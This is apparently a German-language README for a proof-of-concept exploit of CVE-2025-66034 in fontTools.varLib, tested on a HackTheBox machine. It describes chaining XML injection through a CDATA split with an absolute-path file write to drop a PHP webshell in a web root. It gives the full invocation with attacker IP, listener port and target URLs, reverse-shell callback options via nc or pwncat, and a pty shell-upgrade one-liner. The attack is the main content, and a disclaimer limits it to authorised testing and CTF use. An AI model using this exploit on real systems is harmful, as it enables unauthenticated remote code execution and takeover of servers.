
CVE-2025-66034 - fontTools varLib Arbitrary File Write → RCE PoC-Exploit für eine Arbitrary File Write + XML Injection Schwachstelle in fontTools.varLib.
PoC-Exploit für eine Schwachstelle mit beliebigem Dateischreibzugriff + XML-Injection in
fontTools.varLibGetestet auf HackTheBox — VarIaType
fontTools.varLib verarbeitet .designspace-XML-Dateien, um variable Schriftarten zu erstellen. Zwei Schwachstellen kombinieren sich, um eine RCE ohne Authentifizierung zu erreichen:
| # | Primitive | Detail |
|---|---|---|
| 1 | XML-Injection über CDATA-Split | Angreiferkontrollierter Inhalt innerhalb von <labelname> wird unverändert in den Ausgabeschriftartkörper geschrieben, was eine beliebige Dateneinschleusung ermöglicht. |
| 2 | Beliebiger Dateischreibzugriff über os.path.join()-Umgehung | Das filename-Attribut von <variable-font> akzeptiert einen absoluten Pfad. Wenn es an os.path.join() übergeben wird, verwirft es das vorgesehene Ausgabeverzeichnis und schreibt in einen beliebigen, vom Angreifer angegebenen Dateisystempfad. |
Die Verkettung beider Primitive ermöglicht das Schreiben einer PHP-Webshell in einen webbasierten Pfad, was eine nicht authentifizierte Remote-Codeausführung (RCE) ermöglicht.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
.ttf-Dateien (source-light.ttf, source-regular.ttf) werden mit fontTools.FontBuilder als erforderliche Master für den Designspace generiert.designspace — Eine manipulierte XML-Datei wird erstellt mit:
<labelname> injiziert wirdfilename von <variable-font> festgelegt wird und output_dir über os.path.join() umgeht.designspace + die Master-Schriftarten werden per POST an den Verarbeitungsendpunkt gesendet.php-Datei wird angefordert, wodurch die Reverse-Shell-Nutzlast ausgeführt wird| Feld | |
|---|---|
| CVE | CVE-2025-66034 |
| Betroffene Komponente | fontTools.varLib |
| Auswirkung | Nicht authentifizierter beliebiger Dateischreibzugriff → Remote-Codeausführung |
| Kontext | Webanwendung, die einen Schriftverarbeitungsendpunkt bereitstellt |
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und CTF-Nutzung bestimmt. Führen Sie es nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
by 4nuxd
| Flag | Beschreibung |
|---|
--ip | Angreifer-IP für den Reverse-Shell-Callback |
--port | Listener-Port |
--upload | Vollständige URL des Schriftverarbeitungsendpunkts (POST) |
--webroot | Serverseitiger absoluter Pfad, der auf ein webbasiertes Verzeichnis abgebildet wird |
--shell | Basis-URL, unter der die Webshell erreichbar sein wird |
--no-listen | Auto-Listener überspringen — stattdessen manuelle Befehle ausgeben |
--pwncat | Verwende pwncat-cs anstelle von nc (bevorzugt, falls verfügbar) |
python3 -c 'import pty; pty.spawn("/bin/bash")' und setzt TERM + stty für eine vollständig interaktive Shell